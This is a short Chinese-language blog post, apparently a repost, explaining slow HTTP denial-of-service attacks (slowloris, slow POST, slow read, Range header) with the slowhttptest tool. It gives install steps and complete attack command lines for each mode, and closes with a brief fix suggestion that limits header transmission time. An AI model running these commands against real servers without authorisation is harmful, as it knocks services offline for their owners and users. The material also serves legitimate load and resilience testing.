工具:slowhttptest
攻擊模式:
slowloris:完整的http請求是以\r\n\r\n結尾,攻擊時僅發送\r\n,少發送一個\r\n,服務器認為請求還未發完,就會一直等待直至超時,等待程序中占用連接數達到服務器連接數上限,服務器便無法處理其他請求,
slow http post:原理和slowloris有點類似,這次是通過宣告一個較大的content-length后,body緩慢發送,導致服務器一直等待,
slow read attack:向服務器發送一個正常合法的read請求,請求一個很大的檔案,但把TCP滑動視窗設定的很小,服務器就會以滑動視窗的大小切割檔案,然后發送,檔案長期滯留在記憶體中,消耗資源,這里有兩點要注意:1.tcp視窗設定要比服務器的socket快取小,這樣發送才慢, 2.請求的檔案要比服務器的socket快取大,使得服務器無法一下子將檔案放到快取,然后去處理其他事情,而是必須不停的將檔案切割成視窗大小,再放入快取,同時攻擊端一直說自己收不到,
slowhttptest安裝
kali直接安裝 apt install slowhttptest
實體:
slowloris模式:
slowhttptest -c 1000 -H -g -o my_header_stats -i 10 -r 200 -t GET -u "url" -x 24 -p 3slow post模式:
slowhttptest -c 3000 -B -g -o my_body_stats -i 110 -r 200 -s 8192 -t FAKEVERB -u "url" -x 10 -p 3slow read模式:
slowhttptest -c 8000 -X -r 200 -w 512 -y 1024 -n 5 -z 32 -k 3 -u "url" -p 3
Range Header test:在http請求的RANGE HEADER中包含大量欄位,使得服務器在服務端將一個很小的檔案分割成大量的更小的片段再壓縮,分段壓縮程序消耗大量的服務器資源,導致DOS,slowhttptest -R -u "url" -t HEAD -c 1000 -a 10 -b 3000 -r 500測驗的時候,添加代理
slowhttptest -c 1000 -X -r 1000 -w 10 -y 20 -n 5 -z 32 -u url -p 5 -l 350 -e lhost:lport
然后查看瀏覽器網路連接時間對比明顯連接超時,例外訪問時間,
修復建議:
對web服務器的HTTP頭部傳輸的最大許可時間進行限制,修改成最大許可時間為20秒
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/14079.html
標籤:其他
下一篇:跪求微信小游戲源代碼


